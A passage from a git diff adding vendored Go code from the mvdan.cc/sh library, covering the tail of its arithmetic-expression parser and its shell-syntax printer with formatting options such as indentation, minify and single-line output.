p.wordOne(pe) + case bckQuote: + if p.quote == arithmExprLet && p.openBquotes > 0 { + return nil + } + fallthrough + default: + if w := p.getWord(); w != nil { + x = w + } else { + return nil + } + } + + if compact && p.spaced { + return x + } + if !compact { + p.got(_Newl) + } + + // we want real nil, not (*Word)(nil) as that + // sets the type to non-nil and then x != nil + if p.tok == addAdd || p.tok == subSub { + if !isArithName(x) { + p.curErr("%s must follow a name", p.tok.String()) + } + u := &UnaryArithm{ + Post: true, + OpPos: p.pos, + Op: UnAritOperator(p.tok), + X: x, + } + p.nextArith(compact) + return u + } + return x +} + +// nextArith consumes a token. +// It returns true if compact and the token was followed by spaces +func (p *Parser) nextArith(compact bool) bool { + p.next() + if compact && p.spaced { + return true + } + if !compact { + p.got(_Newl) + } + return false +} + +func (p *Parser) nextArithOp(compact bool) { + pos := p.pos + tok := p.tok + if p.nextArith(compact) { + p.followErrExp(pos, tok.String()) + } +} + +// arithmExprBinary is used for all left-associative binary operators +func (p *Parser) arithmExprBinary(compact bool, nextOp func(bool) ArithmExpr, operators ...BinAritOperator) ArithmExpr { + value := nextOp(compact) + for { + var foundOp BinAritOperator + for _, op := range operators { + if p.tok == token(op) { + foundOp = op + break + } + } + + if token(foundOp) == illegalTok || (compact && p.spaced) { + return value + } + + if value == nil { + p.curErr("%s must follow an expression", p.tok.String()) + } + + pos := p.pos + p.nextArithOp(compact) + y := nextOp(compact) + if y == nil { + p.followErrExp(pos, foundOp.String()) + } + + value = &BinaryArithm{ + OpPos: pos, + Op: foundOp, + X: value, + Y: y, + } + } +} + +func isArithName(left ArithmExpr) bool { + w, ok := left.(*Word) + if !ok || len(w.Parts) != 1 { + return false + } + switch x := w.Parts[0].(type) { + case *Lit: + return ValidName(x.Value) + case *ParamExp: + return x.nakedIndex() + default: + return false + } +} + +func (p *Parser) followArithm(ftok token, fpos Pos) ArithmExpr { + x := p.arithmExpr(false) + if x == nil { + p.followErrExp(fpos, ftok.String()) + } + return x +} + +func (p *Parser) peekArithmEnd() bool { + return p.tok == rightParen && p.r == ')' +} + +func (p *Parser) arithmMatchingErr(pos Pos, left, right token) { + switch p.tok { + case _Lit, _LitWord: + p.curErr("not a valid arithmetic operator: %s", p.val) + case leftBrack: + p.curErr("[ must follow a name") + case colon: + p.curErr("ternary operator missing ? before :") + case rightParen, _EOF: + p.matchingErr(pos, left, right) + default: + if p.quote == arithmExpr { + p.curErr("not a valid arithmetic operator: %v", p.tok) + } + p.matchingErr(pos, left, right) + } +} + +func (p *Parser) matchedArithm(lpos Pos, left, right token) { + if !p.got(right) { + p.arithmMatchingErr(lpos, left, right) + } +} + +func (p *Parser) arithmEnd(ltok token, lpos Pos, old saveState) Pos { + if !p.peekArithmEnd() { + p.arithmMatchingErr(lpos, ltok, dblRightParen) + } + p.rune() + p.postNested(old) + pos := p.pos + p.next() + return pos +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/printer.go b/vendor/mvdan.cc/sh/v3/syntax/printer.go new file mode 100644 index 0000000000..84ad68502e --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/printer.go @@ -0,0 +1,1530 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "bufio" + "bytes" + "fmt" + "io" + "strings" + "text/tabwriter" + "unicode" + + "mvdan.cc/sh/v3/fileutil" +) + +// PrinterOption is a function which can be passed to NewPrinter +// to alter its behavior. To apply option to existing Printer +// call it directly, for example KeepPadding(true)(printer). +type PrinterOption func(*Printer) + +// Indent sets the number of spaces used for indentation. If set to 0, +// tabs will be used instead. +func Indent(spaces uint) PrinterOption { + return func(p *Printer) { p.indentSpaces = spaces } +} + +// BinaryNextLine will make binary operators appear on the next line +// when a binary command, such as a pipe, spans multiple lines. A +// backslash will be used. +func BinaryNextLine(enabled bool) PrinterOption { + return func(p *Printer) { p.binNextLine = enabled } +} + +// SwitchCaseIndent will make switch cases be indented. As such, switch +// case bodies will be two levels deeper than the switch itself. +func SwitchCaseIndent(enabled bool) PrinterOption { + return func(p *Printer) { p.swtCaseIndent = enabled } +} + +// TODO(v4): consider turning this into a "space all operators" option, to also +// allow foo=( bar baz ), (( x + y )), and so on. + +// SpaceRedirects will put a space after most redirection operators. The +// exceptions are '>&', '<&', '>(', and '<('. +func SpaceRedirects(enabled bool) PrinterOption { + return func(p *Printer) { p.spaceRedirects = enabled } +} + +// KeepPadding will keep most nodes and tokens in the same column that +// they were in the original source. This allows the user to decide how +// to align and pad their code with spaces. +// +// Note that this feature is best-effort and will only keep the +// alignment stable, so it may need some human help the first time it is +// run. +func KeepPadding(enabled bool) PrinterOption { + return func(p *Printer) { + if enabled && !p.keepPadding { + // Enable the flag, and set up the writer wrapper. + p.keepPadding = true + p.cols.Writer = p.bufWriter.(*bufio.Writer) + p.bufWriter = &p.cols + + } else if !enabled && p.keepPadding { + // Ensure we reset the state to that of NewPrinter. + p.keepPadding = false + p.bufWriter = p.cols.Writer + p.cols = colCounter{} + } + } +} + +// Minify will print programs in a way to save the most bytes possible. +// For example, indentation and comments are skipped, and extra +// whitespace is avoided when possible. +func Minify(enabled bool) PrinterOption { + return func(p *Printer) { p.minify = enabled } +} + +// SingleLine will attempt to print programs in one line. For example, lists of +// commands or nested blocks do not use newlines in this mode. Note that some +// newlines must still appear, such as those following comments or around +// here-documents. +// +// Print's trailing newline when given a *File is not affected by this option. +func SingleLine(enabled bool) PrinterOption { + return func(p *Printer) { p.singleLine = enabled } +} + +// FunctionNextLine will place a function's opening braces on the next line. +func FunctionNextLine(enabled bool) PrinterOption { + return func(p *Printer) { p.funcNextLine = enabled } +} + +// NewPrinter allocates a new Printer and applies any number of options. +func NewPrinter(opts ...PrinterOption) *Printer { + p := &Printer{ + bufWriter: bufio.NewWriter(nil), + tabWriter: new(tabwriter.Writer), + } + for _, opt := range opts { + opt(p) + } + return p +} + +// Print "pretty-prints" the given syntax tree node to the given writer. Writes +// to w are buffered. +// +// The node types supported at the moment are *File, *Stmt, *Word, *Assign, any +// Command node, and any WordPart node. A trailing newline will only be printed +// when a *File is used. +func (p *Printer) Print(w io.Writer, node Node) error { + p.reset() + + if p.minify && p.singleLine { + return fmt.Errorf("Minify and SingleLine together are not supported yet; please file an issue describing your use case: https://github.com/mvdan/sh/issues") + } + + // TODO: consider adding a raw mode to skip the tab writer, much like in + // go/printer. + twmode := tabwriter.DiscardEmptyColumns | tabwriter.StripEscape + tabwidth := 8 + if p.indentSpaces == 0 { + // indenting with tabs + twmode |= tabwriter.TabIndent + } else { + // indenting with spaces + tabwidth = int(p.indentSpaces) + } + p.tabWriter.Init(w, 0, tabwidth, 1, ' ', twmode) + w = p.tabWriter + + p.bufWriter.Reset(w) + switch x := node.(type) { + case *File: + p.stmtList(x.Stmts, x.Last) + p.newline(Pos{}) + case *Stmt: + p.stmtList([]*Stmt{x}, nil) + case Command: + p.command(x, nil) + case *Word: + p.line = x.Pos().Line() + p.word(x) + case WordPart: + p.line = x.Pos().Line() + p.wordPart(x, nil) + case *Assign: + p.line = x.Pos().Line() + p.assigns([]*Assign{x}) + default: + return fmt.Errorf("unsupported node type: %T", x) + } + p.flushHeredocs() + p.flushComments() + + // flush the writers + if err := p.bufWriter.Flush(); err != nil { + return err + } + if tw, _ := w.(*tabwriter.Writer); tw != nil { + if err := tw.Flush(); err != nil { + return err + } + } + return nil +} + +type bufWriter interface { + Write([]byte) (int, error) + WriteString(string) (int, error) + WriteByte(byte) error + Reset(io.Writer) + Flush() error +} + +type colCounter struct { + *bufio.Writer + column int + lineStart bool +} + +func (c *colCounter) addByte(b byte) { + switch b { + case '\n': + c.column = 0 + c.lineStart = true + case '\t', ' ', tabwriter.Escape: + default: + c.lineStart = false + } + c.column++ +} + +func (c *colCounter) WriteByte(b byte) error { + c.addByte(b) + return c.Writer.WriteByte(b) +} + +func (c *colCounter) WriteString(s string) (int, error) { + for _, b := range []byte(s) { + c.addByte(b) + } + return c.Writer.WriteString(s) +} + +func (c *colCounter) Reset(w io.Writer) { + c.column = 1 + c.lineStart = true + c.Writer.Reset(w) +} + +// Printer holds the internal state of the printing mechanism of a +// program. +type Printer struct { + bufWriter // TODO: embedding this makes the methods part of the API, which we did not intend + tabWriter *tabwriter.Writer + cols colCounter + + indentSpaces uint + binNextLine bool + swtCaseIndent bool + spaceRedirects bool + keepPadding bool + minify bool + singleLine bool + funcNextLine bool + + wantSpace wantSpaceState // whether space is required or has been written + + wantNewline bool // newline is wanted for pretty-printing; ignored by singleLine; ignored by singleLine + mustNewline bool // newline is required to keep shell syntax valid + wroteSemi bool // wrote ';' for the current statement + + // pendingComments are any comments in the current line or statement + // that we have yet to print. This is useful because that way, we can + // ensure that all comments are written immediately before a newline. + // Otherwise, in some edge cases we might wrongly place words after a + // comment in the same line, breaking programs. + pendingComments []Comment + + // firstLine means we are still writing the first line + firstLine bool + // line is the current line number + line uint + + // lastLevel is the last level of indentation that was used. + lastLevel uint + // level is the current level of indentation. + level uint + // levelIncs records which indentation level increments actually + // took place, to revert them once their section ends. + levelIncs []bool + + nestedBinary bool + + // pendingHdocs is the list of pending heredocs to write. + pendingHdocs []*Redirect + + // used when printing <<- heredocs with tab indentation + tabsPrinter *Printer +} + +func (p *Printer) reset() { + p.wantSpace = spaceWritten + p.wantNewline, p.mustNewline = false, false + p.pendingComments = p.pendingComments[:0] + + // minification uses its own newline logic + p.firstLine = !p.minify + p.line = 0 + + p.lastLevel, p.level = 0, 0 + p.levelIncs = p.levelIncs[:0] + p.nestedBinary = false + p.pendingHdocs = p.pendingHdocs[:0] +} + +func (p *Printer) spaces(n uint) { + for i := uint(0); i < n; i++ { + p.WriteByte(' ') + } +} + +func (p *Printer) space() { + p.WriteByte(' ') + p.wantSpace = spaceWritten +} + +func (p *Printer) spacePad(pos Pos) { + if p.cols.lineStart && p.indentSpaces == 0 { + // Never add padding at the start of a line unless we are indenting + // with spaces, since this may result in mixing of spaces and tabs. + return + } + if p.wantSpace == spaceRequired { + p.WriteByte(' ') + p.wantSpace = spaceWritten + } + for p.cols.column > 0 && p.cols.column < int(pos.Col()) { + p.WriteByte(' ') + } +} + +// wantsNewline reports whether we want to print at least one newline before +// printing a node at a given position. A zero position can be given to simply +// tell if we want a newline following what's just been printed. +func (p *Printer) wantsNewline(pos Pos, escapingNewline bool) bool { + if p.mustNewline { + // We must have a newline here. + return true + } + if p.singleLine && len(p.pendingComments) == 0 { + // The newline is optional, and singleLine skips it. + // Don't skip if there are any pending comments, + // as that might move them further down to the wrong place. + return false + } + if escapingNewline && p.minify { + return false + } + // The newline is optional, and we want it via either wantNewline or via + // the position's line. + return p.wantNewline || pos.Line() > p.line +} + +func (p *Printer) bslashNewl() { + if p.wantSpace == spaceRequired { + p.space() + } + p.WriteString("\\\n") + p.line++ + p.indent() +} + +func (p *Printer) spacedString(s string, pos Pos) { + p.spacePad(pos) + p.WriteString(s) + p.wantSpace = spaceRequired +} + +func (p *Printer) spacedToken(s string, pos Pos) { + if p.minify { + p.WriteString(s) + p.wantSpace = spaceNotRequired + return + } + p.spacePad(pos) + p.WriteString(s) + p.wantSpace = spaceRequired +} + +func (p *Printer) semiOrNewl(s string, pos Pos) { + if p.wantsNewline(Pos{}, false) { + p.newline(pos) + p.indent() + } else { + if !p.wroteSemi { + p.WriteByte(';') + } + if !p.minify { + p.space() + } + p.advanceLine(pos.Line()) + } + p.WriteString(s) + p.wantSpace = spaceRequired +} + +func (p *Printer) writeLit(s string) { + // If p.tabWriter is nil, this is the nested printer being used to print + // <<- heredoc bodies, so the parent printer will add the escape bytes + // later. + if p.tabWriter != nil && strings.Contains(s, "\t") { + p.WriteByte(tabwriter.Escape) + defer p.WriteByte(tabwriter.Escape) + } + p.WriteString(s) +} + +func (p *Printer) incLevel() { + inc := false + if p.level <= p.lastLevel || len(p.levelIncs) == 0 { + p.level++ + inc = true + } else if last := &p.levelIncs[len(p.levelIncs)-1]; *last { + *last = false + inc = true + } + p.levelIncs = append(p.levelIncs, inc) +} + +func (p *Printer) decLevel() { + if p.levelIncs[len(p.levelIncs)-1] { + p.level-- + } + p.levelIncs = p.levelIncs[:len(p.levelIncs)-1] +} + +func (p *Printer) indent() { + if p.minify { + return + } + p.lastLevel = p.level + switch { + case p.level == 0: + case p.indentSpaces == 0: + p.WriteByte(tabwriter.Escape) + for i := uint(0); i < p.level; i++ { + p.WriteByte('\t') + } + p.WriteByte(tabwriter.Escape) + default: + p.spaces(p.indentSpaces * p.level) + } +} + +// TODO(mvdan): add an indent call at the end of newline? + +// newline prints one newline and advances p.line to pos.Line(). +func (p *Printer) newline(pos Pos) { + p.flushHeredocs() + p.flushComments() + p.WriteByte('\n') + p.wantSpace = spaceWritten + p.wantNewline, p.mustNewline = false, false + p.advanceLine(pos.Line()) +} + +func (p *Printer) advanceLine(line uint) { + if p.line < line { + p.line = line + } +} + +func (p *Printer) flushHeredocs() { + if len(p.pendingHdocs) == 0 { + return + } + hdocs := p.pendingHdocs + p.pendingHdocs = p.pendingHdocs[:0] + coms := p.pendingComments + p.pendingComments = nil + if len(coms) > 0 { + c := coms[0] + if c.Pos().Line() == p.line { + p.pendingComments = append(p.pendingComments, c) + p.flushComments() + coms = coms[1:] + } + } + + // Reuse the last indentation level, as + // indentation levels are usually changed before + // newlines are printed along with their + // subsequent indentation characters. + newLevel := p.level + p.level = p.lastLevel + + for _, r := range hdocs { + p.line++ + p.WriteByte('\n') + p.wantSpace = spaceWritten + p.wantNewline, p.wantNewline = false, false + if r.Op == DashHdoc && p.indentSpaces == 0 && !p.minify { + if r.Hdoc != nil { + extra := extraIndenter{ + bufWriter: p.bufWriter, + baseIndent: int(p.level + 1), + firstIndent: -1, + } + p.tabsPrinter = &Printer{ + bufWriter: &extra, + + // The options need to persist. + indentSpaces: p.indentSpaces, + binNextLine: p.binNextLine, + swtCaseIndent: p.swtCaseIndent, + spaceRedirects: p.spaceRedirects, + keepPadding: p.keepPadding, + minify: p.minify, + funcNextLine: p.funcNextLine, + + line: r.Hdoc.Pos().Line(), + } + p.tabsPrinter.wordParts(r.Hdoc.Parts, true) + } + p.indent() + } else if r.Hdoc != nil { + p.wordParts(r.Hdoc.Parts, true) + } + p.unquotedWord(r.Word) + if r.Hdoc != nil { + // Overwrite p.line, since printing r.Word again can set + // p.line to the beginning of the heredoc again. + p.advanceLine(r.Hdoc.End().Line()) + } + p.wantSpace = spaceNotRequired + } + p.level = newLevel + p.pendingComments = coms + p.mustNewline = true +} + +// newline prints between zero and two newlines. +// If any newlines are printed, it advances p.line to pos.Line(). +func (p *Printer) newlines(pos Pos) { + if p.firstLine && len(p.pendingComments) == 0 { + p.firstLine = false + return // no empty lines at the top + } + if !p.wantsNewline(pos, false) { + return + } + p.flushHeredocs() + p.flushComments() + p.WriteByte('\n') + p.wantSpace = spaceWritten + p.wantNewline, p.mustNewline = false, false + + l := pos.Line() + if l > p.line+1 && !p.minify { + p.WriteByte('\n') // preserve single empty lines + } + p.advanceLine(l) + p.indent() +} + +func (p *Printer) rightParen(pos Pos) { + if len(p.pendingHdocs) > 0 || !p.minify { + p.newlines(pos) + } + p.WriteByte(')') + p.wantSpace = spaceRequired +} + +func (p *Printer) semiRsrv(s string, pos Pos) { + if p.wantsNewline(pos, false) { + p.newlines(pos) + } else { + if !p.wroteSemi { + p.WriteByte(';') + } + if !p.minify { + p.spacePad(pos) + } + } + p.WriteString(s) + p.wantSpace = spaceRequired +} + +func (p *Printer) flushComments() { + for i, c := range p.pendingComments { + if i == 0 { + // Flush any pending heredocs first. Otherwise, the + // comments would become part of a heredoc body. + p.flushHeredocs() + } + p.firstLine = false + // We can't call any of the newline methods, as they call this + // function and we'd recurse forever. + cline := c.Hash.Line() + switch { + case p.mustNewline, i > 0, cline > p.line && p.line > 0: + p.WriteByte('\n') + if cline > p.line+1 { + p.WriteByte('\n') + } + p.indent() + p.wantSpace = spaceWritten + p.spacePad(c.Pos()) + case p.wantSpace == spaceRequired: + if p.keepPadding { + p.spacePad(c.Pos()) + } else { + p.WriteByte('\t') + } + case p.wantSpace != spaceWritten: + p.space() + } + // don't go back one line, which may happen in some edge cases + p.advanceLine(cline) + p.WriteByte('#') + p.writeLit(strings.TrimRightFunc(c.Text, unicode.IsSpace)) + p.wantNewline = true + p.mustNewline = true + } + p.pendingComments = nil +} + +func (p *Printer) comments(comments ...Comment) { + if p.minify { + for _, c := range comments { + if fileutil.Shebang([]byte("#"+c.Text)) != "" && c.Hash.Col() == 1 && c.Hash.Line() == 1 { + p.WriteString(strings.TrimRightFunc("#"+c.Text, unicode.IsSpace)) + p.WriteString("\n") + p.line++ + } + } + return + } + p.pendingComments = append(p.pendingComments, comments...) +} + +func (p *Printer) wordParts(wps []WordPart, quoted bool) { + // We disallow unquoted escaped newlines between word parts below. + // However, we want to allow a leading escaped newline for cases such as: + // + // foo <<< \ + // "bar baz" + if !quoted && !p.singleLine && wps[0].Pos().Line() > p.line { + p.bslashNewl() + } + for i, wp := range wps { + var next WordPart + if i+1 < len(wps) { + next = wps[i+1] + } + // Keep escaped newlines separating word parts when quoted. + // Note that those escaped newlines don't cause indentaiton. + // When not quoted, we strip them out consistently, + // because attempting to keep them would prevent indentation. + // Can't use p.wantsNewline here, since this is only about + // escaped newlines. + for quoted && !p.singleLine && wp.Pos().Line() > p.line { + p.WriteString("\\\n") + p.line++ + } + p.wordPart(wp, next) + p.advanceLine(wp.End().Line()) + } +} + +func (p *Printer) wordPart(wp, next WordPart) { + switch x := wp.(type) { + case *Lit: + p.writeLit(x.Value) + case *SglQuoted: + if x.Dollar { + p.WriteByte('$') + } + p.WriteByte('\'') + p.writeLit(x.Value) + p.WriteByte('\'') + p.advanceLine(x.End().Line()) + case *DblQuoted: + p.dblQuoted(x) + case *CmdSubst: + p.advanceLine(x.Pos().Line()) + switch { + case x.TempFile: + p.WriteString("${") + p.wantSpace = spaceRequired + p.nestedStmts(x.Stmts, x.Last, x.Right) + p.wantSpace = spaceNotRequired + p.semiRsrv("}", x.Right) + case x.ReplyVar: + p.WriteString("${|") + p.nestedStmts(x.Stmts, x.Last, x.Right) + p.wantSpace = spaceNotRequired + p.semiRsrv("}", x.Right) + // Special case: `# inline comment` + case x.Backquotes && len(x.Stmts) == 0 && + len(x.Last) == 1 && x.Right.Line() == p.line: + p.WriteString("`#") + p.WriteString(x.Last[0].Text) + p.WriteString("`") + default: + p.WriteString("$(") + if len(x.Stmts) > 0 && startsWithLparen(x.Stmts[0]) { + p.wantSpace = spaceRequired + } else { + p.wantSpace = spaceNotRequired + } + p.nestedStmts(x.Stmts, x.Last, x.Right) + p.rightParen(x.Right) + } + case *ParamExp: + litCont := ";" + if nextLit, ok := next.(*Lit); ok && nextLit.Value != "" { + litCont = nextLit.Value[:1] + } + name := x.Param.Value + switch { + case !p.minify: + case x.Excl, x.Length, x.Width: + case x.Index != nil, x.Slice != nil: + case x.Repl != nil, x.Exp != nil: + case len(name) > 1 && !ValidName(name): // ${10} + case ValidName(name + litCont): // ${var}cont + default: + x2 := *x + x2.Short = true + p.paramExp(&x2) + return + } + p.paramExp(x) + case *ArithmExp: + p.WriteString("$((") + if x.Unsigned { + p.WriteString("# ") + } + p.arithmExpr(x.X, false, false) + p.WriteString("))") + case *ExtGlob: + p.WriteString(x.Op.String()) + p.writeLit(x.Pattern.Value) + p.WriteByte(')') + case *ProcSubst: + // avoid conflict with << and others + if p.wantSpace == spaceRequired { + p.space() + } + p.WriteString(x.Op.String()) + p.nestedStmts(x.Stmts, x.Last, x.Rparen) + p.rightParen(x.Rparen) + } +} + +func (p *Printer) dblQuoted(dq *DblQuoted) { + if dq.Dollar { + p.WriteByte('$') + } + p.WriteByte('"') + if len(dq.Parts) > 0 { + p.wordParts(dq.Parts, true) + } + // Add any trailing escaped newlines. + for p.line < dq.Right.Line() { + p.WriteString("\\\n") + p.line++ + } + p.WriteByte('"') +} + +func (p *Printer) wroteIndex(index ArithmExpr) bool { + if index == nil { + return false + } + p.WriteByte('[') + p.arithmExpr(index, false, false) + p.WriteByte(']') + return true +} + +func (p *Printer) paramExp(pe *ParamExp) { + if pe.nakedIndex() { // arr[x] + p.writeLit(pe.Param.Value) + p.wroteIndex(pe.Index) + return + } + if pe.Short { // $var + p.WriteByte('$') + p.writeLit(pe.Param.Value) + return + } + // ${var...} + p.WriteString("${") + switch { + case pe.Length: + p.WriteByte('#') + case pe.Width: + p.WriteByte('%') + case pe.Excl: + p.WriteByte('!') + } + p.writeLit(pe.Param.Value) + p.wroteIndex(pe.Index) + switch { + case pe.Slice != nil: + p.WriteByte(':') + p.arithmExpr(pe.Slice.Offset, true, true) + if pe.Slice.Length != nil { + p.WriteByte(':') + p.arithmExpr(pe.Slice.Length, true, false) + } + case pe.Repl != nil: + if pe.Repl.All { + p.WriteByte('/') + } + p.WriteByte('/') + if pe.Repl.Orig != nil { + p.word(pe.Repl.Orig) + } + p.WriteByte('/') + if pe.Repl.With != nil { + p.word(pe.Repl.With) + } + case pe.Names != 0: + p.writeLit(pe.Names.String()) + case pe.Exp != nil: + p.WriteString(pe.Exp.Op.String()) + if pe.Exp.Word != nil { + p.word(pe.Exp.Word) + } + } + p.WriteByte('}') +} + +func (p *Printer) loop(loop Loop) { + switch x := loop.(type) { + case *WordIter: + p.writeLit(x.Name.Value) + if x.InPos.IsValid() { + p.spacedString(" in", Pos{}) + p.wordJoin(x.Items) + } + case *CStyleLoop: + p.WriteString("((") + if x.Init == nil { + p.space() + } + p.arithmExpr(x.Init, false, false) + p.WriteString("; ") + p.arithmExpr(x.Cond, false, false) + p.WriteString("; ") + p.arithmExpr(x.Post, false, false) + p.WriteString("))") + } +} + +func (p *Printer) arithmExpr(expr ArithmExpr, compact, spacePlusMinus bool) { + if p.minify { + compact = true + } + switch x := expr.(type) { + case *Word: + p.word(x) + case *BinaryArithm: + if compact { + p.arithmExpr(x.X, compact, spacePlusMinus) + p.WriteString(x.Op.String()) + p.arithmExpr(x.Y, compact, false) + } else { + p.arithmExpr(x.X, compact, spacePlusMinus) + if x.Op != Comma { + p.space() + } + p.WriteString(x.Op.String()) + p.space() + p.arithmExpr(x.Y, compact, false) + } + case *UnaryArithm: + if x.Post { + p.arithmExpr(x.X, compact, spacePlusMinus) + p.WriteString(x.Op.String()) + } else { + if spacePlusMinus { + switch x.Op { + case Plus, Minus: + p.space() + } + } + p.WriteString(x.Op.String()) + p.arithmExpr(x.X, compact, false) + } + case *ParenArithm: + p.WriteByte('(') + p.arithmExpr(x.X, false, false) + p.WriteByte(')') + } +} + +func (p *Printer) testExpr(expr TestExpr) { + // Multi-line test expressions don't need to escape newlines. + if expr.Pos().Line() > p.line { + p.newlines(expr.Pos()) + p.spacePad(expr.Pos()) + } else if p.wantSpace == spaceRequired { + p.space() + } + p.testExprSameLine(expr) +} + +func (p *Printer) testExprSameLine(expr TestExpr) { + p.advanceLine(expr.Pos().Line()) + switch x := expr.(type) { + case *Word: + p.word(x) + case *BinaryTest: + p.testExprSameLine(x.X) + p.space() + p.WriteString(x.Op.String()) + switch x.Op { + case AndTest, OrTest: + p.wantSpace = spaceRequired + p.testExpr(x.Y) + default: + p.space() + p.testExprSameLine(x.Y) + } + case *UnaryTest: + p.WriteString(x.Op.String()) + p.space() + p.testExprSameLine(x.X) + case *ParenTest: + p.WriteByte('(') + if startsWithLparen(x.X) { + p.wantSpace = spaceRequired + } else { + p.wantSpace = spaceNotRequired + } + p.testExpr(x.X) + p.WriteByte(')') + } +} + +func (p *Printer) word(w *Word) { + p.wordParts(w.Parts, false) + p.wantSpace = spaceRequired +} + +func (p *Printer) unquotedWord(w *Word) { + for _, wp := range w.Parts { + switch x := wp.(type) { + case *SglQuoted: + p.writeLit(x.Value) + case *DblQuoted: + p.wordParts(x.Parts, true) + case *Lit: + for i := 0; i < len(x.Value); i++ { + if b := x.Value[i]; b == '\\' { + if i++; i < len(x.Value) { + p.WriteByte(x.Value[i]) + } + } else { + p.WriteByte(b) + } + } + } + } +} + +func (p *Printer) wordJoin(ws []*Word) { + anyNewline := false + for _, w := range ws { + if pos := w.Pos(); pos.Line() > p.line && !p.singleLine { + if !anyNewline { + p.incLevel() + anyNewline = true + } + p.bslashNewl() + } + p.spacePad(w.Pos()) + p.word(w) + } + if anyNewline { + p.decLevel() + } +} + +func (p *Printer) casePatternJoin(pats []*Word) { + anyNewline := false + for i, w := range pats { + if i > 0 { + p.spacedToken("|", Pos{}) + } + if p.wantsNewline(w.Pos(), true) { + if !anyNewline { + p.incLevel() + anyNewline = true + } + p.bslashNewl() + } else { + p.spacePad(w.Pos()) + } + p.word(w) + } + if anyNewline { + p.decLevel() + } +} + +func (p *Printer) elemJoin(elems []*ArrayElem, last []Comment) { + p.incLevel() + for _, el := range elems { + var left []Comment + for _, c := range el.Comments { + if c.Pos().After(el.Pos()) { + left = append(left, c) + break + } + p.comments(c) + } + // Multi-line array expressions don't need to escape newlines. + if el.Pos().Line() > p.line { + p.newlines(el.Pos()) + p.spacePad(el.Pos()) + } else if p.wantSpace == spaceRequired { + p.space() + } + if p.wroteIndex(el.Index) { + p.WriteByte('=') + } + if el.Value != nil { + p.word(el.Value) + } + p.comments(left...) + } + if len(last) > 0 { + p.comments(last...) + p.flushComments() + } + p.decLevel() +} + +func (p *Printer) stmt(s *Stmt) { + p.wroteSemi = false + if s.Negated { + p.spacedString("!", s.Pos()) + } + var startRedirs int + if s.Cmd != nil { + startRedirs = p.command(s.Cmd, s.Redirs) + } + p.incLevel() + for _, r := range s.Redirs[startRedirs:] { + if p.wantsNewline(r.OpPos, true) { + p.bslashNewl() + } + if p.wantSpace == spaceRequired { + p.spacePad(r.Pos()) + } + if r.N != nil { + p.writeLit(r.N.Value) + } + p.WriteString(r.Op.String()) + if p.spaceRedirects && (r.Op != DplIn && r.Op != DplOut) { + p.space() + } else { + p.wantSpace = spaceRequired + } + p.word(r.Word) + if r.Op == Hdoc || r.Op == DashHdoc { + p.pendingHdocs = append(p.pendingHdocs, r) + } + } + sep := s.Semicolon.IsValid() && s.Semicolon.Line() > p.line && !p.singleLine + if sep || s.Background || s.Coprocess { + if sep { + p.bslashNewl() + } else if !p.minify { + p.space() + } + if s.Background { + p.WriteString("&") + } else if s.Coprocess { + p.WriteString("|&") + } else { + p.WriteString(";") + } + p.wroteSemi = true + p.wantSpace = spaceRequired + } + p.decLevel() +} + +func (p *Printer) command(cmd Command, redirs []*Redirect) (startRedirs int) { + p.advanceLine(cmd.Pos().Line()) + p.spacePad(cmd.Pos()) + switch x := cmd.(type) { + case *CallExpr: + p.assigns(x.Assigns) + if len(x.Args) <= 1 { + p.wordJoin(x.Args) + return 0 + } + p.wordJoin(x.Args[:1]) + for _, r := range redirs { + if r.Pos().After(x.Args[1].Pos()) || r.Op == Hdoc || r.Op == DashHdoc { + break + } + if p.wantSpace == spaceRequired { + p.spacePad(r.Pos()) + } + if r.N != nil { + p.writeLit(r.N.Value) + } + p.WriteString(r.Op.String()) + if p.spaceRedirects && (r.Op != DplIn && r.Op != DplOut) { + p.space() + } else { + p.wantSpace = spaceRequired + } + p.word(r.Word) + startRedirs++ + } + p.wordJoin(x.Args[1:]) + case *Block: + p.WriteByte('{') + p.wantSpace = spaceRequired + // Forbid "foo()\n{ bar; }" + p.wantNewline = p.wantNewline || p.funcNextLine + p.nestedStmts(x.Stmts, x.Last, x.Rbrace) + p.semiRsrv("}", x.Rbrace) + case *IfClause: + p.ifClause(x, false) + case *Subshell: + p.WriteByte('(') + stmts := x.Stmts + if len(stmts) > 0 && startsWithLparen(stmts[0]) { + p.wantSpace = spaceRequired + // Add a space between nested parentheses if we're printing them in a single line, + // to avoid the ambiguity between `((` and `( (`. + if (x.Lparen.Line() != stmts[0].Pos().Line() || len(stmts) > 1) && !p.singleLine { + p.wantSpace = spaceNotRequired + + if p.minify { + p.mustNewline = true + } + } + } else { + p.wantSpace = spaceNotRequired + } + + p.spacePad(stmtsPos(x.Stmts, x.Last)) + p.nestedStmts(x.Stmts, x.Last, x.Rparen) + p.wantSpace = spaceNotRequired + p.spacePad(x.Rparen) + p.rightParen(x.Rparen) + case *WhileClause: + if x.Until { + p.spacedString("until", x.Pos()) + } else { + p.spacedString("while", x.Pos()) + } + p.nestedStmts(x.Cond, x.CondLast, Pos{}) + p.semiOrNewl("do", x.DoPos) + p.nestedStmts(x.Do, x.DoLast, x.DonePos) + p.semiRsrv("done", x.DonePos) + case *ForClause: + if x.Select { + p.WriteString("select ") + } else { + p.WriteString("for ") + } + p.loop(x.Loop) + p.semiOrNewl("do", x.DoPos) + p.nestedStmts(x.Do, x.DoLast, x.DonePos) + p.semiRsrv("done", x.DonePos) + case *BinaryCmd: + p.stmt(x.X) + if p.minify || p.singleLine || x.Y.Pos().Line() <= p.line { + // leave p.nestedBinary untouched + p.spacedToken(x.Op.String(), x.OpPos) + p.advanceLine(x.Y.Pos().Line()) + p.stmt(x.Y) + break + } + indent := !p.nestedBinary + if indent { + p.incLevel() + } + if p.binNextLine { + if len(p.pendingHdocs) == 0 { + p.bslashNewl() + } + p.spacedToken(x.Op.String(), x.OpPos) + if len(x.Y.Comments) > 0 { + p.wantSpace = spaceNotRequired + p.newline(x.Y.Pos()) + p.indent() + p.comments(x.Y.Comments...) + p.newline(Pos{}) + p.indent() + } + } else { + p.spacedToken(x.Op.String(), x.OpPos) + p.advanceLine(x.OpPos.Line()) + p.comments(x.Y.Comments...) + p.newline(Pos{}) + p.indent() + } + p.advanceLine(x.Y.Pos().Line()) + _, p.nestedBinary = x.Y.Cmd.(*BinaryCmd) + p.stmt(x.Y) + if indent { + p.decLevel() + } + p.nestedBinary = false + case *FuncDecl: + if x.RsrvWord { + p.WriteString("function ") + } + p.writeLit(x.Name.Value) + if !x.RsrvWord || x.Parens 